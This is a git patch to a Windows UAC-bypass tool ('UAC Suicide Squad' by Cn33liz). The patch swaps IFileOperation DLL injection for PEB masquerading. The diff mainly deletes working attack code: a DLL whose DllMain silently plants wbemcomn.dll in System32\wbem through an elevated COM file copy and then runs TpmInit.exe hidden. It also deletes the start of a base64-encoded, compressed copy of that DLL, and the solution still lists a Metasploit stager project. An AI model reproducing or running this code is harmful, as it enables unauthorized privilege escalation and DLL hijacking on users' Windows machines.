From 0e3d465fc5aba8bf4967e051547d75128d93ee41 Mon Sep 17 00:00:00 2001 From: Cn33liz Date: Mon, 26 Sep 2016 15:28:29 +0200 Subject: [PATCH] Using PEB Masquerading --- CHANGELOG.md | 7 + IFileOperation/IFileOperation.cpp | 73 -- IFileOperation/IFileOperation.vcxproj | 174 ---- IFileOperation/IFileOperation.vcxproj.filters | 33 - IFileOperation/IFileOperation.vcxproj.user | 4 - IFileOperation/stdafx.cpp | 8 - IFileOperation/stdafx.h | 18 - IFileOperation/targetver.h | 8 - README.md | 2 +- TpmInitUACBypass.sln | 10 - TpmInitUACBypass/IFileOperationB64.cpp | 915 ------------------ TpmInitUACBypass/IFileOperationB64.h | 6 - TpmInitUACBypass/TpmInitUACBypass.cpp | 399 ++++++-- TpmInitUACBypass/TpmInitUACBypass.vcxproj | 2 - .../TpmInitUACBypass.vcxproj.filters | 6 - TpmInitUACBypass/stdafx.h | 1 - 16 files changed, 332 insertions(+), 1334 deletions(-) create mode 100644 CHANGELOG.md delete mode 100644 IFileOperation/IFileOperation.cpp delete mode 100644 IFileOperation/IFileOperation.vcxproj delete mode 100644 IFileOperation/IFileOperation.vcxproj.filters delete mode 100644 IFileOperation/IFileOperation.vcxproj.user delete mode 100644 IFileOperation/stdafx.cpp delete mode 100644 IFileOperation/stdafx.h delete mode 100644 IFileOperation/targetver.h delete mode 100644 TpmInitUACBypass/IFileOperationB64.cpp delete mode 100644 TpmInitUACBypass/IFileOperationB64.h diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..af3a4e7 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,7 @@ +#### Version 1.1: + +* Replaced IFileOperation DLL injection for a PEB Masquerade method. + +#### Version 1.0: + +* First Public Release. \ No newline at end of file diff --git a/IFileOperation/IFileOperation.cpp b/IFileOperation/IFileOperation.cpp deleted file mode 100644 index 9817914..0000000 --- a/IFileOperation/IFileOperation.cpp +++ /dev/null @@ -1,73 +0,0 @@ -#include "stdafx.h" -#include - - -DWORD WINAPI SelfDestruct(LPVOID hModule) { - FreeLibraryAndExitThread((HMODULE)hModule, 0); -} - - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - LPCWSTR dllName = L"wbemcomn.dll"; - switch (ul_reason_for_call) { - case DLL_PROCESS_ATTACH: { - IFileOperation *fileOperation = NULL; - WCHAR dllPath[1024]; - - GetModuleFileName(hModule, dllPath, 1024); - std::wstring path(dllPath); - const size_t last = path.rfind('\\'); - if (std::wstring::npos != last) - { - path = path.substr(0, last + 1); - } - path += dllName; - - LPCWSTR destPath = L"C:\\windows\\System32\\wbem"; - HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); - if (SUCCEEDED(hr)) { - hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&fileOperation)); - if (SUCCEEDED(hr)) { - hr = fileOperation->SetOperationFlags( - FOF_NOCONFIRMATION | - FOF_SILENT | - FOFX_SHOWELEVATIONPROMPT | - FOFX_NOCOPYHOOKS | - FOFX_REQUIREELEVATION | - FOF_NOERRORUI); - if (SUCCEEDED(hr)) { - IShellItem *from = NULL, *to = NULL; - hr = SHCreateItemFromParsingName(path.data(), NULL, IID_PPV_ARGS(&from)); - if (SUCCEEDED(hr)) { - if (destPath) - hr = SHCreateItemFromParsingName(destPath, NULL, IID_PPV_ARGS(&to)); - if (SUCCEEDED(hr)) { - hr = fileOperation->CopyItem(from, to, dllName, NULL); - if (NULL != to) - to->Release(); - } - from->Release(); - } - if (SUCCEEDED(hr)) { - hr = fileOperation->PerformOperations(); - } - } - fileOperation->Release(); - } - CoUninitialize(); - } - ShellExecute(NULL, NULL, L"C:\\Windows\\System32\\TpmInit.exe", NULL, NULL, SW_HIDE); - CreateThread(NULL, 0, SelfDestruct, hModule, 0, NULL); - } - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - diff --git a/IFileOperation/IFileOperation.vcxproj b/IFileOperation/IFileOperation.vcxproj deleted file mode 100644 index bff7404..0000000 --- a/IFileOperation/IFileOperation.vcxproj +++ /dev/null @@ -1,174 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4} - Win32Proj - IFileOperation - 8.1 - - - - DynamicLibrary - true - v140 - Unicode - - - DynamicLibrary - false - v140 - true - Unicode - - - DynamicLibrary - true - v140 - Unicode - - - DynamicLibrary - false - v140 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - true - - - false - - - false - - - - - - Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions) - - - Windows - true - shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - - - - - - - Level3 - Disabled - _DEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions) - MultiThreaded - - - Windows - true - shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - - - - - Level3 - - - MaxSpeed - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions) - - - Windows - true - true - true - shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - - - - - Level3 - - - MaxSpeed - true - true - NDEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions) - MultiThreaded - - - Windows - true - true - true - shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - - - - - - - - - false - - - false - - - false - - - false - - - - - - - - - \ No newline at end of file diff --git a/IFileOperation/IFileOperation.vcxproj.filters b/IFileOperation/IFileOperation.vcxproj.filters deleted file mode 100644 index 9aa2e0d..0000000 --- a/IFileOperation/IFileOperation.vcxproj.filters +++ /dev/null @@ -1,33 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - \ No newline at end of file diff --git a/IFileOperation/IFileOperation.vcxproj.user b/IFileOperation/IFileOperation.vcxproj.user deleted file mode 100644 index abe8dd8..0000000 --- a/IFileOperation/IFileOperation.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/IFileOperation/stdafx.cpp b/IFileOperation/stdafx.cpp deleted file mode 100644 index edffd4f..0000000 --- a/IFileOperation/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// IFileOperation.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/IFileOperation/stdafx.h b/IFileOperation/stdafx.h deleted file mode 100644 index 28813e7..0000000 --- a/IFileOperation/stdafx.h +++ /dev/null @@ -1,18 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -//#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include -#include -#include - - - -// TODO: reference additional headers your program requires here diff --git a/IFileOperation/targetver.h b/IFileOperation/targetver.h deleted file mode 100644 index 87c0086..0000000 --- a/IFileOperation/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include diff --git a/README.md b/README.md index 0a4aa16..850c454 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ / / / /_/ / / / / / // // / / / / /_ /_/ / .___/_/ /_/ /_/___/_/ /_/_/\__/ /_/ - UAC Suicide Squad + UAC Suicide Squad v1.1 By Cn33liz 2016 ``` diff --git a/TpmInitUACBypass.sln b/TpmInitUACBypass.sln index 274b1b6..4d29bc2 100644 --- a/TpmInitUACBypass.sln +++ b/TpmInitUACBypass.sln @@ -7,8 +7,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "wbemcomn", "wbemcomn\wbemco EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TpmInitUACBypass", "TpmInitUACBypass\TpmInitUACBypass.vcxproj", "{107FE98F-9C9B-4B1B-BC29-CDFED2C01364}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "IFileOperation", "IFileOperation\IFileOperation.vcxproj", "{C933A4B7-4650-4761-B50A-9EEEF15D2FF4}" -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MsfStager", "MsfStager\MsfStager.vcxproj", "{20244E23-742B-40B4-A203-D04032340F13}" EndProject Global @@ -35,14 +33,6 @@ Global {107FE98F-9C9B-4B1B-BC29-CDFED2C01364}.Release|x64.Build.0 = Release|x64 {107FE98F-9C9B-4B1B-BC29-CDFED2C01364}.Release|x86.ActiveCfg = Release|Win32 {107FE98F-9C9B-4B1B-BC29-CDFED2C01364}.Release|x86.Build.0 = Release|Win32 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Debug|x64.ActiveCfg = Debug|x64 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Debug|x64.Build.0 = Debug|x64 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Debug|x86.ActiveCfg = Debug|Win32 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Debug|x86.Build.0 = Debug|Win32 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Release|x64.ActiveCfg = Release|x64 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Release|x64.Build.0 = Release|x64 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Release|x86.ActiveCfg = Release|Win32 - {C933A4B7-4650-4761-B50A-9EEEF15D2FF4}.Release|x86.Build.0 = Release|Win32 {20244E23-742B-40B4-A203-D04032340F13}.Debug|x64.ActiveCfg = Debug|x64 {20244E23-742B-40B4-A203-D04032340F13}.Debug|x64.Build.0 = Debug|x64 {20244E23-742B-40B4-A203-D04032340F13}.Debug|x86.ActiveCfg = Debug|Win32 diff --git a/TpmInitUACBypass/IFileOperationB64.cpp b/TpmInitUACBypass/IFileOperationB64.cpp deleted file mode 100644 index 8ccf40d..0000000 --- a/TpmInitUACBypass/IFileOperationB64.cpp +++ /dev/null @@ -1,915 +0,0 @@ -/* - This is the Base64 encoded and Compressed version of the IFileOperation dll. - This DLL will be dropped (decompressed and decoded) to disk and will be used for the IFileOperations. -*/ - -#include "stdafx.h" - -char *IFileOperationB64() { - static char EncodedDLL[] = - "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" - "BS2h+u97CRVgje/+z6tuV9d0fe/Cp2XXWJCKigm5Io/8vUd+Qof+qA4JsdSSMsyg" - "FO3zuBdl9FPquyn+eo8qciR7VXzb7uWjvlALJHkKE8q4sXXgaxnR7Rz5HPU9synh" - "NTbfNPf5pO6hTMbvdm3dsjLOO0NN5hfzVWmlGsQ4F41xs/ZvH9EC/m7RCt0ro+kQ" - "/WHPcH4nSr6Ao7F82lDYY8+d88aJk6LGZZn357Dd2izwMCYKqglO8/nC3VPzSdxb" - "6vPZPT0vUNH0H9Yx+OJ84hSo5rFtStM6eOPeJPgkqix84W5RL7MY+jZAsS1kp5Af" - "UhtlOMtoxVmLJQ1oRnJN5+f4vlXbUwuc8wx4HLoFRkvonh6tRxO7Wkx0b/vTPav2" - "7sTBbbU63mrg5CPbepJbtz8gSzhYHzHiNfSEAJ67uwcVPSQajdDrxLnfAlM1WgOP" - "+9qHZ29OZgMaZSAaIqmBaTMprqpCmq0oFwEgej9GmU2pSIMojQiLalEOlBpFGi2L" - "qkOIBvRhFub7tFx1SpIEnQR4W3b/G7cicMsXrWox9gTs+aTuW3J32SuYS3uhe+FU" - "/XwCwYRdwfp+my/DhXbkydItmB57PeDmHZvzHrwF7OjFyODz3u0pT9OiwZZPWHTR" - "/cHCfVtzhlP3e5/uUX0Pet08KjdeRsQjDvKpBRpEFfH7IQoCvaPle17whnsaPAl0" - "z7XZbelEpJtBKCzuq5A24JkeLZAW3BZQ0PcmZPvXxu9fEaiGz+z8wN9leJ82C2ky" - "6ObdOrq/nl4wbbv73Lt760ZBt/1rq+5xKYqo/J7tG72a9jHbM3rzg7WfSfudIslN" - "+zxu6+7++09o97o/orV58yY/Kk3fCkSEXlTR+u8q8Xumb/YTxu+TYoMqjtq4Xv/v" - "a39s1+ae/Q7j1b0b9wHafafv7j+6Q3frzq0bU0Or6pDD/jnTJXvfesWBt2/1Cy3f" - "WKnGRl3DbHUP/y58tDa9qu/++w5ZU0W+F8s/7OHf3M21/tunxy9om/8yp/dTQX3T" - "8OhuQdf2Yr/Vz7eztjRzV+Ku7FW3dL/HV/MV1AMzV93O7vy7/qru7wXFsV9DziJ2" - "eYmX/6Vt68K/q1u63i/2i3oTlXffml/fueu2/O293K+xkRp+50WvoP6v64po63sv" - "XFrDVP7wW/ZiLupwWW0J81sovkKJOIdS5AveYzr8w2qLdUKEW9kVVomVCtyeWJAH" - "xwL7EzI3Z+lu/DGjPJgdHRdr6JgaLq1fHIvpddNbwDttYPch3cg44SSlEABzwTP1" - "B7/I+qo2XxNhP7T842um2ULaJdUldcno688HU5VDilXUg38WOQPQWpPup5K2N/FO" - "acJLSrYGe3Xz9AiejOxPbGB99Dz56IRGd0bV9rLXLINAKKl24WO4OGx9bQXvV4k7" - "PtxagrUlUMTpeeAII5VxP+l0ONgHBuqW5UOK0Oj5kQoMtEiw91EgjPTMfev543NC" - "nwAbwZbWohO6oYuuRqcihj2IiUytLkuVwue05RMTgJ6WEA30o9q5qTSIp2pwoTMi" - "zL2O9IgH3scS5LJZiuNMJRVxGqO0yuvo14jkz8mdcKq25Dwx6VuH7j4EnNGDQvrW" - "OdsLV7IdIDF8wjMT68Jh8l77lSNfouKQyCT+MuSNbjv4NXMf6Z2oUFm8S9aHJtnJ" - "qa7dH/AU4NoxAN1NnuBNCww3x7YsC4SpgJaVmu2BiTinsXyNITzBxHE5HJORzyq5" - "v+O3n+3VZHiabQnghjrNARg0BUTJg/wELAbpIcmPhcWQ7BMc/keGGKZbghOEskWM" - "QJBqCXumHfkKsD0ZLNhO/YEBEsXC99Uu4hvHLeXoxRCmMmxltGf45Fs80HYo2c4o" - "3drToL4QX/UEPPJkyaEH2/tRNsb2HXjjq/y4RABBQKq4RYlMLZHUK5T8pTK2gD8t" - "PANZ5beTVGMgFQlBqvvtqweAln8KI+RXXV21UaX4xX6KcF+e1zl7wdfqylmi2Suw" - "QrPnSPH0z+xlTM10HwitbGMdTmSJJcDX6ZDWsB3sxnho9Sg+MAv0ClWfL5L2mPQh" - 